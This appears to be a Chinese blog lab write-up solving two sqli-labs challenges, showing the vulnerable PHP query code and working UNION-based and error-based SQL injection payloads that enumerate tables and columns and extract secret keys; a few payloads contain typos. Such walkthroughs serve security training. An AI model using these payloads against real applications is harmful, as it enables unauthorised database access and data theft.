WEB常见漏洞之SQL注入(靶场篇—4)2

简介: WEB常见漏洞之SQL注入(靶场篇—4)

Lesson-57

该题为双引号get型注入,利用方式包括联合查询、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  $id='"'.$id.'"';

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

iftrue:

  输出查询信息;

else:

  输出报错;

注意:该题与Lesson54的利用方式相同,只不过拼接方式由单引号变成了双引号,错误次数由10次变为14次

使用联合查询判断注入点

id=1"--+

判断字段数

id=1" order by 3--+ //返回正确

id=1"orderby4--+ //返回异常

由此可判断字段数为4,通过 union select 查看回显位置

id=-1" union select 1,2,3--+

查询表名

id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

查询列名

id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='mup8sgqrlo'--+

查询关键信息

id=-1" union select 1,2,group_concat(secret_EGMD) from mup8sgqrlo--+

成功拿到 key 值:UFLHEB2MKHMJWM97fXAajgWB

需要注意的是每次表名和列名都会不同,及时修改可以查询到具体信息

Lesson-58

该题为单引号get型注入,利用方式包括报错注入、布尔盲注、时间盲注

id=1'

目标SQL语句如下:

if($_POST['reset']):

 setcookie('challenge',' ',time()-3600000);

else:

  if($_COOKIE['challenge']):

     $sessid=$_COOKIE['challenge'];

  else:

     $expire =time()+60*60*24*30;

$hash =data($table,$col);

setcookie("challenge", $hash, $expire);

if($_GET['id']):

  $id=$_GET['id'];

  next_tryy()>=($times+1)

  $sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";

iftrue:

     $unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");

$pass = array_reverse($unames);

  输出查询信息;

else:

  print_r(mysql_error());

注意:该题只输出$unames$pass数组,而$pass数组是$uname数组的逆序,因此使用联合查询无法返回我们需要的数据信息。但可以使用报错注入获取数据

使用报错注入判断注入点

id=1'--+

查询基础信息

id=1' and (select count(*) from information_schema.tables group by concat((select user()),0x7e,floor(rand(0)*2)))--+

id=1'and(selectcount(*)from information_schema.tablesgroupby concat((select version()),0x7e,floor(rand(0)*2)))--+

id=1' and (select count(*) from information_schema.tables group by concat((select databse()),0x7e,floor(rand(0)*2)))--+

查询表名

id=1' and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2)))--+

查询列名

id=1' and (select count(*) from information_schema.tables group by concat((select column_name from information_schema.columns where table_name='me487dxhor' limit 2,1),0x7e,floor(rand(0)*2)))--+

查询关键信息

id=1' and (select count(*) from information_schema.tables group by concat((select secret_NMS4 from me487dxhor limit 0,1),0x7e,floor(rand(0)*2)))--+

成功拿到 key 值:mx7XGPasBPeRQKfCQJ7LEwt1

需要注意的是每次表名和列名都会不同,及时修改可以查询到具体信息

目录
相关文章
|
Oracle 关系型数据库 数据库管理
|
存储 缓存 文件存储
如何保证分布式文件系统的数据一致性
分布式文件系统需要向上层应用提供透明的客户端缓存,从而缓解网络延时现象,更好地支持客户端性能水平扩展,同时也降低对文件服务器的访问压力。当考虑客户端缓存的时候,由于在客户端上引入了多个本地数据副本(Replica),就相应地需要提供客户端对数据访问的全局数据一致性。
33254 201
如何保证分布式文件系统的数据一致性
|
设计模式 存储 监控
设计模式(C++版)
看懂UML类图和时序图30分钟学会UML类图设计原则单一职责原则定义:单一职责原则,所谓职责是指类变化的原因。如果一个类有多于一个的动机被改变,那么这个类就具有多于一个的职责。而单一职责原则就是指一个类或者模块应该有且只有一个改变的原因。bad case:IPhone类承担了协议管理(Dial、HangUp)、数据传送(Chat)。good case:里式替换原则定义:里氏代换原则(Liskov 
36823 22
设计模式(C++版)
|
存储 编译器 C语言
抽丝剥茧C语言(初阶 下)(下)
抽丝剥茧C语言(初阶 下)
|
机器学习/深度学习 人工智能 自然语言处理
带你简单了解Chatgpt背后的秘密:大语言模型所需要条件(数据算法算力)以及其当前阶段的缺点局限性
带你简单了解Chatgpt背后的秘密:大语言模型所需要条件(数据算法算力)以及其当前阶段的缺点局限性
24905 16
|
机器学习/深度学习 弹性计算 监控
重生之---我测阿里云U1实例(通用算力型)
阿里云产品全线降价的一力作,2023年4月阿里云推出新款通用算力型ECS云服务器Universal实例,该款服务器的真实表现如何?让我先测为敬!
36824 15
重生之---我测阿里云U1实例(通用算力型)

热门文章

最新文章